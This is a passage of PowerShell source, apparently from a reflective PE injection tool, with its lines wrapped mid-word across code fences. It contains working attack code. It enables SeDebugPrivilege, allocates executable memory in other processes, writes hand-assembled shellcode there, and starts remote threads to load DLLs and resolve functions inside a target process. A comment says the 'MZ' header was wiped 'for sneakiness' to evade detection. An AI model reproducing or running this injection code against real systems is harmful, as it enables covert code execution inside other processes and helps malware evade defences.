voke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win3
2Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadTo
```

```
ken)
        if ($Result -eq $false)
        {
            $ErrorCode = [System.Runtime.InteropServices.M
arshal]::GetLastWin32Error()
            if ($ErrorCode -eq $Win32Constants.ERROR_NO_TO
KEN)
            {
                $Result = $Win32Functions.ImpersonateSelf.
Invoke(3)
                if ($Result -eq $false)
                {
                    Throw "Unable to impersonate self"
                }

                $Result = $Win32Functions.OpenThreadToken.
Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Wi
n32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$Thread
Token)
                if ($Result -eq $false)
                {
                    Throw "Unable to OpenThreadToken."
                }
            }
            else
            {
                Throw "Unable to OpenThreadToken. Error co
de: $ErrorCode"
            }
        }

        [IntPtr]$PLuid = [System.Runtime.InteropServices.M
arshal]::AllocHGlobal([System.Runtime.InteropServices.Mars
hal]::SizeOf([Type]$Win32Types.LUID))
        $Result = $Win32Functions.LookupPrivilegeValue.Inv
oke($null, "SeDebugPrivilege", $PLuid)
```

```
        if ($Result -eq $false)
        {
            Throw "Unable to call LookupPrivilegeValue"
        }

        [UInt32]$TokenPrivSize = [System.Runtime.InteropSe
rvices.Marshal]::SizeOf([Type]$Win32Types.TOKEN_PRIVILEGE
S)
        [IntPtr]$TokenPrivilegesMem = [System.Runtime.Inte
ropServices.Marshal]::AllocHGlobal($TokenPrivSize)
        $TokenPrivileges = [System.Runtime.InteropService
s.Marshal]::PtrToStructure($TokenPrivilegesMem, [Type]$Win
32Types.TOKEN_PRIVILEGES)
        $TokenPrivileges.PrivilegeCount = 1
        $TokenPrivileges.Privileges.Luid = [System.Runtim
e.InteropServices.Marshal]::PtrToStructure($PLuid, [Type]
$Win32Types.LUID)
        $TokenPrivileges.Privileges.Attributes = $Win32Con
stants.SE_PRIVILEGE_ENABLED
        [System.Runtime.InteropServices.Marshal]::Structur
eToPtr($TokenPrivileges, $TokenPrivilegesMem, $true)

        $Result = $Win32Functions.AdjustTokenPrivileges.In
voke($ThreadToken, $false, $TokenPrivilegesMem, $TokenPriv
Size, [IntPtr]::Zero, [IntPtr]::Zero)
        $ErrorCode = [System.Runtime.InteropServices.Marsh
al]::GetLastWin32Error() #Need this to get success value o
r failure value
        if (($Result -eq $false) -or ($ErrorCode -ne 0))
        {
            #Throw "Unable to call AdjustTokenPrivileges.
Return value: $Result, Errorcode: $ErrorCode"   #todo need
to detect if already set
        }

        [System.Runtime.InteropServices.Marshal]::FreeHGlo
```

```
bal($TokenPrivilegesMem)
    }

    Function Create-RemoteThread
    {
        Param(
        [Parameter(Position = 1, Mandatory = $true)]
        [IntPtr]
        $ProcessHandle,

        [Parameter(Position = 2, Mandatory = $true)]
        [IntPtr]
        $StartAddress,

        [Parameter(Position = 3, Mandatory = $false)]
        [IntPtr]
        $ArgumentPtr = [IntPtr]::Zero,

        [Parameter(Position = 4, Mandatory = $true)]
        [System.Object]
        $Win32Functions
        )

        [IntPtr]$RemoteThreadHandle = [IntPtr]::Zero

        $OSVersion = [Environment]::OSVersion.Version
        #Vista and Win7
        if (($OSVersion -ge (New-Object 'Version' 6,0)) -a
nd ($OSVersion -lt (New-Object 'Version' 6,2)))
        {
            #Write-Verbose "Windows Vista/7 detected, usin
g NtCreateThreadEx. Address of thread: $StartAddress"
            $RetVal= $Win32Functions.NtCreateThreadEx.Invo
ke([Ref]$RemoteThreadHandle, 0x1FFFFF, [IntPtr]::Zero, $Pr
ocessHandle, $StartAddress, $ArgumentPtr, $false, 0, 0xfff
f, 0xffff, [IntPtr]::Zero)
```

```
            $LastError = [System.Runtime.InteropServices.M
arshal]::GetLastWin32Error()
            if ($RemoteThreadHandle -eq [IntPtr]::Zero)
            {
                Throw "Error in NtCreateThreadEx. Return v
alue: $RetVal. LastError: $LastError"
            }
        }
        #XP/Win8
        else
        {
            #Write-Verbose "Windows XP/8 detected, using C
reateRemoteThread. Address of thread: $StartAddress"
            $RemoteThreadHandle = $Win32Functions.CreateRe
moteThread.Invoke($ProcessHandle, [IntPtr]::Zero, [UIntPt
r][UInt64]0xFFFF, $StartAddress, $ArgumentPtr, 0, [IntPt
r]::Zero)
        }

        if ($RemoteThreadHandle -eq [IntPtr]::Zero)
        {
            Write-Error "Error creating remote thread, thr
ead handle is null" -ErrorAction Stop
        }

        return $RemoteThreadHandle
    }

    Function Get-ImageNtHeaders
    {
        Param(
        [Parameter(Position = 0, Mandatory = $true)]
        [IntPtr]
        $PEHandle,

        [Parameter(Position = 1, Mandatory = $true)]
```

```
        [System.Object]
        $Win32Types
        )

        $NtHeadersInfo = New-Object System.Object

        #Normally would validate DOSHeader here, but we di
d it before this function was called and then destroyed 'M
Z' for sneakiness
        $dosHeader = [System.Runtime.InteropServices.Marsh
al]::PtrToStructure($PEHandle, [Type]$Win32Types.IMAGE_DOS
_HEADER)

        #Get IMAGE_NT_HEADERS
        [IntPtr]$NtHeadersPtr = [IntPtr](Add-SignedIntAsUn
signed ([Int64]$PEHandle) ([Int64][UInt64]$dosHeader.e_lfa
new))
        $NtHeadersInfo | Add-Member -MemberType NoteProper
ty -Name NtHeadersPtr -Value $NtHeadersPtr
        $imageNtHeaders64 = [System.Runtime.InteropService
s.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Type
s.IMAGE_NT_HEADERS64)

        #Make sure the IMAGE_NT_HEADERS checks out. If it
doesn't, the data structure is invalid. This should never
happen.
        if ($imageNtHeaders64.Signature -ne 0x00004550)
        {
            throw "Invalid IMAGE_NT_HEADER signature."
        }

        if ($imageNtHeaders64.OptionalHeader.Magic -eq 'IM
AGE_NT_OPTIONAL_HDR64_MAGIC')
        {
            $NtHeadersInfo | Add-Member -MemberType NotePr
operty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders64
```

```
            $NtHeadersInfo | Add-Member -MemberType NotePr
operty -Name PE64Bit -Value $true
        }
        else
        {
            $ImageNtHeaders32 = [System.Runtime.InteropSer
vices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32
Types.IMAGE_NT_HEADERS32)
            $NtHeadersInfo | Add-Member -MemberType NotePr
operty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders32
            $NtHeadersInfo | Add-Member -MemberType NotePr
operty -Name PE64Bit -Value $false
        }

        return $NtHeadersInfo
    }


    #This function will get the information needed to allo
cated space in memory for the PE
    Function Get-PEBasicInfo
    {
        Param(
        [Parameter( Position = 0, Mandatory = $true )]
        [Byte[]]
        $PBytes,

        [Parameter(Position = 1, Mandatory = $true)]
        [System.Object]
        $Win32Types
        )

        $PEInfo = New-Object System.Object

        #Write the PE to memory temporarily so I can get i
nformation from it. This is not it's final resting spot.
```

```
        [IntPtr]$UnmanagedPBytes = [System.Runtime.Interop
Services.Marshal]::AllocHGlobal($PBytes.Length)
        [System.Runtime.InteropServices.Marshal]::Copy($PB
ytes, 0, $UnmanagedPBytes, $PBytes.Length) | Out-Null

        #Get NtHeadersInfo
        $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $Unm
anagedPBytes -Win32Types $Win32Types

        #Build a structure with the information which will
be needed for allocating memory and writing the PE to memo
ry
        $PEInfo | Add-Member -MemberType NoteProperty -Nam
e 'PE64Bit' -Value ($NtHeadersInfo.PE64Bit)
        $PEInfo | Add-Member -MemberType NoteProperty -Nam
e 'OriginalImageBase' -Value ($NtHeadersInfo.IMAGE_NT_HEAD
ERS.OptionalHeader.ImageBase)
        $PEInfo | Add-Member -MemberType NoteProperty -Nam
e 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.Op
tionalHeader.SizeOfImage)
        $PEInfo | Add-Member -MemberType NoteProperty -Nam
e 'SizeOfHeaders' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.
OptionalHeader.SizeOfHeaders)
        $PEInfo | Add-Member -MemberType NoteProperty -Nam
e 'DllCharacteristics' -Value ($NtHeadersInfo.IMAGE_NT_HEA
DERS.OptionalHeader.DllCharacteristics)

        #Free the memory allocated above, this isn't where
we allocate the PE to memory
        [System.Runtime.InteropServices.Marshal]::FreeHGlo
bal($UnmanagedPBytes)

        return $PEInfo
    }
```

```
    #PEInfo must contain the following NoteProperties:
    #   PEHandle: An IntPtr to the address the PE is loade
d to in memory
    Function Get-PEDetailedInfo
    {
        Param(
        [Parameter( Position = 0, Mandatory = $true)]
        [IntPtr]
        $PEHandle,

        [Parameter(Position = 1, Mandatory = $true)]
        [System.Object]
        $Win32Types,

        [Parameter(Position = 2, Mandatory = $true)]
        [System.Object]
        $Win32Constants
        )

        if ($PEHandle -eq $null -or $PEHandle -eq [IntPt
r]::Zero)
        {
            throw 'PEHandle is null or IntPtr.Zero'
        }

        $PEInfo = New-Object System.Object

        #Get NtHeaders information
        $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $PEH
andle -Win32Types $Win32Types

        #Build the PEInfo object
        $PEInfo | Add-Member -MemberType NoteProperty -Nam
e PEHandle -Value $PEHandle
        $PEInfo | Add-Member -MemberType NoteProperty -Nam
e IMAGE_NT_HEADERS -Value ($NtHeadersInfo.IMAGE_NT_HEADER
```

```
S)
        $PEInfo | Add-Member -MemberType NoteProperty -Nam
e NtHeadersPtr -Value ($NtHeadersInfo.NtHeadersPtr)
        $PEInfo | Add-Member -MemberType NoteProperty -Nam
e PE64Bit -Value ($NtHeadersInfo.PE64Bit)
        $PEInfo | Add-Member -MemberType NoteProperty -Nam
e 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.Op
tionalHeader.SizeOfImage)

        if ($PEInfo.PE64Bit -eq $true)
        {
            [IntPtr]$SectionHeaderPtr = [IntPtr](Add-Signe
dIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runt
ime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMA
GE_NT_HEADERS64)))
            $PEInfo | Add-Member -MemberType NoteProperty
-Name SectionHeaderPtr -Value $SectionHeaderPtr
        }
        else
        {
            [IntPtr]$SectionHeaderPtr = [IntPtr](Add-Signe
dIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runt
ime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMA
GE_NT_HEADERS32)))
            $PEInfo | Add-Member -MemberType NoteProperty
-Name SectionHeaderPtr -Value $SectionHeaderPtr
        }

        if (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Ch
aracteristics -band $Win32Constants.IMAGE_FILE_DLL) -eq $W
in32Constants.IMAGE_FILE_DLL)
        {
            $PEInfo | Add-Member -MemberType NoteProperty
-Name FileType -Value 'DLL'
        }
        elseif (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeade
```

```
r.Characteristics -band $Win32Constants.IMAGE_FILE_EXECUTA
BLE_IMAGE) -eq $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAG
E)
        {
            $PEInfo | Add-Member -MemberType NoteProperty
-Name FileType -Value 'EXE'
        }
        else
        {
            Throw "PE file is not an EXE or DLL"
        }

        return $PEInfo
    }

    Function Import-DllInRemoteProcess
    {
        Param(
        [Parameter(Position=0, Mandatory=$true)]
        [IntPtr]
        $RemoteProcHandle,

        [Parameter(Position=1, Mandatory=$true)]
        [IntPtr]
        $ImportDllPathPtr
        )

        $PtrSize = [System.Runtime.InteropServices.Marsha
l]::SizeOf([Type][IntPtr])

        $ImportDllPath = [System.Runtime.InteropServices.M
arshal]::PtrToStringAnsi($ImportDllPathPtr)
        $DllPathSize = [UIntPtr][UInt64]([UInt64]$ImportDl
lPath.Length + 1)
        $RImportDllPathPtr = $Win32Functions.VirtualAllocE
x.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize,
```

```
$Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERV
E, $Win32Constants.PAGE_READWRITE)
        if ($RImportDllPathPtr -eq [IntPtr]::Zero)
        {
            Throw "Unable to allocate memory in the remote
process"
        }

        [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero
        $Success = $Win32Functions.WriteProcessMemory.Invo
ke($RemoteProcHandle, $RImportDllPathPtr, $ImportDllPathPt
r, $DllPathSize, [Ref]$NumBytesWritten)

        if ($Success -eq $false)
        {
            Throw "Unable to write DLL path to remote proc
ess memory"
        }
        if ($DllPathSize -ne $NumBytesWritten)
        {
            Throw "Didn't write the expected amount of byt
es when writing a DLL path to load to the remote process"
        }

        $Kernel32Handle = $Win32Functions.GetModuleHandle.
Invoke("kernel32.dll")
        $LoadLibraryAAddr = $Win32Functions.GetProcAddres
s.Invoke($Kernel32Handle, "LoadLibraryA") #Kernel32 loaded
to the same address for all processes

        [IntPtr]$DllAddress = [IntPtr]::Zero
        #For 64bit DLL's, we can't use just CreateRemoteTh
read to call LoadLibrary because GetExitCodeThread will on
ly give back a 32bit value, but we need a 64bit address
        #   Instead, write shellcode while calls LoadLibra
ry and writes the result to a memory address we specify. T
```

```
hen read from that memory once the thread finishes.
        if ($PEInfo.PE64Bit -eq $true)
        {
            #Allocate memory for the address returned by L
oadLibraryA
            $LoadLibraryARetMem = $Win32Functions.VirtualA
llocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathS
ize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_R
ESERVE, $Win32Constants.PAGE_READWRITE)
            if ($LoadLibraryARetMem -eq [IntPtr]::Zero)
            {
                Throw "Unable to allocate memory in the re
mote process for the return value of LoadLibraryA"
            }

            #Write Shellcode to the remote process which w
ill call LoadLibraryA (Shellcode: LoadLibraryA.asm)
            $LoadLibrarySC1 = @(0x53, 0x48, 0x89, 0xe3, 0x
48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9)
            $LoadLibrarySC2 = @(0x48, 0xba)
            $LoadLibrarySC3 = @(0xff, 0xd2, 0x48, 0xba)
            $LoadLibrarySC4 = @(0x48, 0x89, 0x02, 0x48, 0x
89, 0xdc, 0x5b, 0xc3)

            $SCLength = $LoadLibrarySC1.Length + $LoadLibr
arySC2.Length + $LoadLibrarySC3.Length + $LoadLibrarySC4.L
ength + ($PtrSize * 3)
            $SCPSMem = [System.Runtime.InteropServices.Mar
shal]::AllocHGlobal($SCLength)
            $SCPSMemOriginal = $SCPSMem

            Write-BytesToMemory -Bytes $LoadLibrarySC1 -Me
moryAddress $SCPSMem
            $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem
($LoadLibrarySC1.Length)
            [System.Runtime.InteropServices.Marshal]::Stru
```

```
ctureToPtr($RImportDllPathPtr, $SCPSMem, $false)
            $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem
($PtrSize)
            Write-BytesToMemory -Bytes $LoadLibrarySC2 -Me
moryAddress $SCPSMem
            $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem
($LoadLibrarySC2.Length)
            [System.Runtime.InteropServices.Marshal]::Stru
ctureToPtr($LoadLibraryAAddr, $SCPSMem, $false)
            $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem
($PtrSize)
            Write-BytesToMemory -Bytes $LoadLibrarySC3 -Me
moryAddress $SCPSMem
            $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem
($LoadLibrarySC3.Length)
            [System.Runtime.InteropServices.Marshal]::Stru
ctureToPtr($LoadLibraryARetMem, $SCPSMem, $false)
            $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem
($PtrSize)
            Write-BytesToMemory -Bytes $LoadLibrarySC4 -Me
moryAddress $SCPSMem
            $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem
($LoadLibrarySC4.Length)

            $RSCAddr = $Win32Functions.VirtualAllocEx.Invo
ke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SC
Length, $Win32Constants.MEM_COMMIT -bor $Win32Constants.ME
M_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
            if ($RSCAddr -eq [IntPtr]::Zero)
            {
                Throw "Unable to allocate memory in the re
mote process for shellcode"
            }

            $Success = $Win32Functions.WriteProcessMemory.
Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIn
```

```
tPtr][UInt64]$SCLength, [Ref]$NumBytesWritten)
            if (($Success -eq $false) -or ([UInt64]$NumByt
esWritten -ne [UInt64]$SCLength))
            {
                Throw "Unable to write shellcode to remote
process memory."
            }

            $RThreadHandle = Create-RemoteThread -ProcessH
andle $RemoteProcHandle -StartAddress $RSCAddr -Win32Funct
ions $Win32Functions
            $Result = $Win32Functions.WaitForSingleObject.
Invoke($RThreadHandle, 20000)
            if ($Result -ne 0)
            {
                Throw "Call to CreateRemoteThread to call
GetProcAddress failed."
            }

            #The shellcode writes the DLL address to memor
y in the remote process at address $LoadLibraryARetMem, re
ad this memory
            [IntPtr]$ReturnValMem = [System.Runtime.Intero
pServices.Marshal]::AllocHGlobal($PtrSize)
            $Result = $Win32Functions.ReadProcessMemory.In
voke($RemoteProcHandle, $LoadLibraryARetMem, $ReturnValMe
m, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten)
            if ($Result -eq $false)
            {
                Throw "Call to ReadProcessMemory failed"
            }
            [IntPtr]$DllAddress = [System.Runtime.InteropS
ervices.Marshal]::PtrToStructure($ReturnValMem, [Type][Int
Ptr])

            $Win32Functions.VirtualFreeEx.Invoke($RemotePr
```

```
ocHandle, $LoadLibraryARetMem, [UIntPtr][UInt64]0, $Win32C
onstants.MEM_RELEASE) | Out-Null
            $Win32Functions.VirtualFreeEx.Invoke($RemotePr
ocHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.ME
M_RELEASE) | Out-Null
        }
        else
        {
            [IntPtr]$RThreadHandle = Create-RemoteThread -
ProcessHandle $RemoteProcHandle -StartAddress $LoadLibrary
AAddr -ArgumentPtr $RImportDllPathPtr -Win32Functions $Win
32Functions
            $Result = $Win32Functions.WaitForSingleObject.
Invoke($RThreadHandle, 20000)
            if ($Result -ne 0)
            {
                Throw "Call to CreateRemoteThread to call
GetProcAddress failed."
            }

            [Int32]$ExitCode = 0
            $Result = $Win32Functions.GetExitCodeThread.In
voke($RThreadHandle, [Ref]$ExitCode)
            if (($Result -eq 0) -or ($ExitCode -eq 0))
            {
                Throw "Call to GetExitCodeThread failed"
            }

            [IntPtr]$DllAddress = [IntPtr]$ExitCode
        }

        $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHa
ndle, $RImportDllPathPtr, [UIntPtr][UInt64]0, $Win32Consta
nts.MEM_RELEASE) | Out-Null

        return $DllAddress
```

```
    }

    Function Get-RemoteProcAddress
    {
        Param(
        [Parameter(Position=0, Mandatory=$true)]
        [IntPtr]
        $RemoteProcHandle,

        [Parameter(Position=1, Mandatory=$true)]
        [IntPtr]
        $RemoteDllHandle,

        [Parameter(Position=2, Mandatory=$true)]
        [IntPtr]
        $FunctionNamePtr,#This can either be a ptr to a st
ring which is the function name, or, if LoadByOrdinal is
'true' this is an ordinal number (points to nothing)

        [Parameter(Position=3, Mandatory=$true)]
        [Bool]
        $LoadByOrdinal
        )

        $PtrSize = [System.Runtime.InteropServices.Marsha
l]::SizeOf([Type][IntPtr])

        [IntPtr]$RFuncNamePtr = [IntPtr]::Zero   #Pointer
to the function name in remote process memory if loading b
y function name, ordinal number if loading by ordinal
        #If not loading by ordinal, write the function nam
e to the remote process memory
        if (-not $LoadByOrdinal)
        {
            $FunctionName = [System.Runtime.InteropService
s.Marshal]::PtrToStringAnsi($FunctionNamePtr)
```

```
            #Write FunctionName to memory (will be used in
GetProcAddress)
            $FunctionNameSize = [UIntPtr][UInt64]([UInt64]
$FunctionName.Length + 1)
            $RFuncNamePtr = $Win32Functions.VirtualAllocE
x.Invoke($RemoteProcHandle, [IntPtr]::Zero, $FunctionNameS
ize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_R
ESERVE, $Win32Constants.PAGE_READWRITE)
            if ($RFuncNamePtr -eq [IntPtr]::Zero)
            {
                Throw "Unable to allocate memory in the re
mote process"
            }

            [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero
            $Success = $Win32Functions.WriteProcessMemory.
Invoke($RemoteProcHandle, $RFuncNamePtr, $FunctionNamePtr,
$FunctionNameSize, [Ref]$NumBytesWritten)
            if ($Success -eq $false)
            {
                Throw "Unable to write DLL path to remote
process memory"
            }
            if ($FunctionNameSize -ne $NumBytesWritten)
            {
                Throw "Didn't write the expected amount of
bytes when writing a DLL path to load to the remote proces
s"
            }
        }
        #If loading by ordinal, just set RFuncNamePtr to b
e the ordinal number
        else
        {
            $RFuncNamePtr = $FunctionNamePtr
```

```
        }

        #Get address of GetProcAddress
        $Kernel32Handle = $Win32Functions.GetModuleHandle.
Invoke("kernel32.dll")
        $GetProcAddressAddr = $Win32Functions.GetProcAddre
ss.Invoke($Kernel32Handle, "GetProcAddress") #Kernel32 loa
ded to the same address for all processes

        #Allocate memory for the address returned by GetPr
ocAddress
        $GetProcAddressRetMem = $Win32Functions.VirtualAll
ocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UInt64][UI
nt64]$PtrSize, $Win32Constants.MEM_COMMIT -bor $Win32Const
ants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
        if ($GetProcAddressRetMem -eq [IntPtr]::Zero)
        {
            Throw "Unable to allocate memory in the remote
process for the return value of GetProcAddress"
        }

        #Write Shellcode to the remote process which will
call GetProcAddress
        #Shellcode: GetProcAddress.asm
        [Byte[]]$GetProcAddressSC = @()
        if ($PEInfo.PE64Bit -eq $true)
        {
            $GetProcAddressSC1 = @(0x53, 0x48, 0x89, 0xe3,
0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb
9)
            $GetProcAddressSC2 = @(0x48, 0xba)
            $GetProcAddressSC3 = @(0x48, 0xb8)
            $GetProcAddressSC4 = @(0xff, 0xd0, 0x48, 0xb9)
            $GetProcAddressSC5 = @(0x48, 0x89, 0x01, 0x48,
0x89, 0xdc, 0x5b, 0xc3)
        }
```

```
        else
        {
            $GetProcAddressSC1 = @(0x53, 0x89, 0xe3, 0x83,
0xe4, 0xc0, 0xb8)
            $GetProcAddressSC2 = @(0xb9)
            $GetProcAddressSC3 = @(0x51, 0x50, 0xb8)
            $GetProcAddressSC4 = @(0xff, 0xd0, 0xb9)
            $GetProcAddressSC5 = @(0x89, 0x01, 0x89, 0xdc,
0x5b, 0xc3)
        }
        $SCLength = $GetProcAddressSC1.Length + $GetProcAd
dressSC2.Length + $GetProcAddressSC3.Length + $GetProcAddr
essSC4.Length + $GetProcAddressSC5.Length + ($PtrSize * 4)
        $SCPSMem = [System.Runtime.InteropServices.Marsha
l]::AllocHGlobal($SCLength)
        $SCPSMemOriginal = $SCPSMem

        Write-BytesToMemory -Bytes $GetProcAddressSC1 -Mem
oryAddress $SCPSMem
        $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetP
rocAddressSC1.Length)
        [System.Runtime.InteropServices.Marshal]::Structur
eToPtr($RemoteDllHandle, $SCPSMem, $false)
        $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrS
ize)
        Write-BytesToMemory -Bytes $GetProcAddressSC2 -Mem
oryAddress $SCPSMem
        $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetP
rocAddressSC2.Length)
        [System.Runtime.InteropServices.Marshal]::Structur
eToPtr($RFuncNamePtr, $SCPSMem, $false)
        $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrS
ize)
        Write-BytesToMemory -Bytes $GetProcAddressSC3 -Mem
oryAddress $SCPSMem
        $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetP
```

```
rocAddressSC3.Length)
        [System.Runtime.InteropServices.Marshal]::Structur
eToPtr($GetProcAddressAddr, $SCPSMem, $false)
        $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrS
ize)
        Write-BytesToMemory -Bytes $GetProcAddressSC4 -Mem
oryAddress $SCPSMem
        $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetP
rocAddressSC4.Length)
        [System.Runtime.InteropServices.Marshal]::Structur
eToPtr($GetProcAddressRetMem, $SCPSMem, $false)
        $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrS
ize)
        Write-BytesToMemory -Bytes $GetProcAddressSC5 -Mem
oryAddress $SCPSMem
        $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetP
rocAddressSC5.Length)

        $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke
($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLe
ngth, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_
RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
        if ($RSCAddr -eq [IntPtr]::Zero)
        {
            Throw "Unable to allocate memory in the remote
process for shellcode"
        }
        [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero
        $Success = $Win32Functions.WriteProcessMemory.Invo
ke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPt
r][UInt64]$SCLength, [Ref]$NumBytesWritten)
        if (($Success -eq $false) -or ([UInt64]$NumBytesWr
itten -ne [UInt64]$SCLength))
        {
            Throw "Unable to write shellcode to remote pro
cess memory."
```

```
        }

        $RThreadHandle = Create-RemoteThread -ProcessHandl
e $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions
$Win32Functions
        $Result = $Win32Functions.WaitForSingleObject.Invo
ke($RThreadHandle, 20000)
        if ($Result -ne 0)
        {
            Throw "Call to CreateRemoteThread to call GetP
rocAddress failed."
        }

        #The process address is written to memory in the r
emote process at address $GetProcAddressRetMem, read this
memory
        [IntPtr]$ReturnValMem = [System.Runtime.InteropSer
vices.Marshal]::AllocHGlobal($PtrSize)
        $Result = $Win32Functions.ReadProcessMemory.Invoke
($RemoteProcHandle, $GetProcAddressRetMem, $ReturnValMem,
[UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten)
        if (($Result -eq $false) -or ($NumBytesWritten -eq
0))
        {
            Throw "Call to ReadProcessMemory failed"
        }
        [IntPtr]$ProcAddress = [System.Runtime.InteropServ
ices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPt
r])

        #Cleanup remote process memory
        $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHa
ndle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RE
LEASE) | Out-Null
        $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHa
ndle, $GetProcAddressRetMem, [UIntPtr][UInt64]0, $Win32Con
```

```
stants.MEM_RELEASE) | Out-Null

        if (-not $LoadByOrdinal)
        {
            $Win32Functions.VirtualFreeEx.Invoke($RemotePr
ocHandle, $RFuncNamePtr, [UIntPtr][UInt64]0, $Win32Constan
ts.MEM_RELEASE) | Out-Null
        }

        return $ProcAddress
    }


    Function Copy-Sections
    {
        Param(
        [Parameter(Position = 0, Mandatory = $true)]
        [Byte[]]
        $PBytes,

        [Parameter(Position = 1, Mandatory = $true)]
        [System.Object]
        $PEInfo,

        [Parameter(Position = 2, Mandatory = $true)]
        [System.Object]
        $Win32Functions,

        [Parameter(Position = 3, Mandatory = $true)]
        [System.Object]
        $Win32Types
        )

        for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileH
eader.NumberOfSections; $i++)
        {
```

```
            [IntPtr]$SectionHeaderPtr = [IntPtr](Add-Signe
dIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [Sy
stem.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32
Types.IMAGE_SECTION_HEADER)))
            $SectionHeader = [System.Runtime.InteropServic
es.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win3
2Types.IMAGE_SECTION_HEADER)

            #Address to copy the section to
            [IntPtr]$SectionDestAddr = [IntPtr](Add-Signed
IntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$SectionHe
ader.VirtualAddress))

            #SizeOfRawData is the size of the data on dis
k, VirtualSize is the minimum space that can be allocated
            #    in memory for the section. If VirtualSize
> SizeOfRawData, pad the extra spaces with 0. If
            #    SizeOfRawData > VirtualSize, it is becaus
e the section stored on disk has padding that we can throw
away,
            #    so truncate SizeOfRawData to VirtualSize
            $SizeOfRawData = $SectionHeader.SizeOfRawData

            if ($SectionHeader.PointerToRawData -eq 0)
            {
                $SizeOfRawData = 0
            }

            if ($SizeOfRawData -gt $SectionHeader.VirtualS
ize)
            {
                $SizeOfRawData = $SectionHeader.VirtualSiz
e
            }

            if ($SizeOfRawData -gt 0)
```

```
            {
                Test-MemoryRangeValid -DebugString "Copy-S
ections::MarshalCopy" -PEInfo $PEInfo -StartAddress $Secti
onDestAddr -Size $SizeOfRawData | Out-Null
                [System.Runtime.InteropServices.Marshal]::
Copy($PBytes, [Int32]$SectionHeader.PointerToRawData, $Sec
tionDestAddr, $SizeOfRawData)
            }

            #If SizeOfRawData is less than VirtualSize, se
t memory to 0 for the extra space
            if ($SectionHeader.SizeOfRawData -lt $SectionH
eader.VirtualSize)
            {
                $Difference = $SectionHeader.VirtualSize -
$SizeOfRawData
                [IntPtr]$StartAddress = [IntPtr](Add-Signe
dIntAsUnsigned ([Int64]$SectionDestAddr) ([Int64]$SizeOfRa
wData))
                Test-MemoryRangeValid -DebugString "Copy-S
ections::Memset" -PEInfo $PEInfo -StartAddress $StartAddre
ss -Size $Difference | Out-Null
                $Win32Functions.memset.Invoke($StartAddres
s, 0, [IntPtr]$Difference) | Out-Null
            }
        }
    }


    Function Update-MemoryAddresses
    {
        Param(
        [Parameter(Position = 0, Mandatory = $true)]
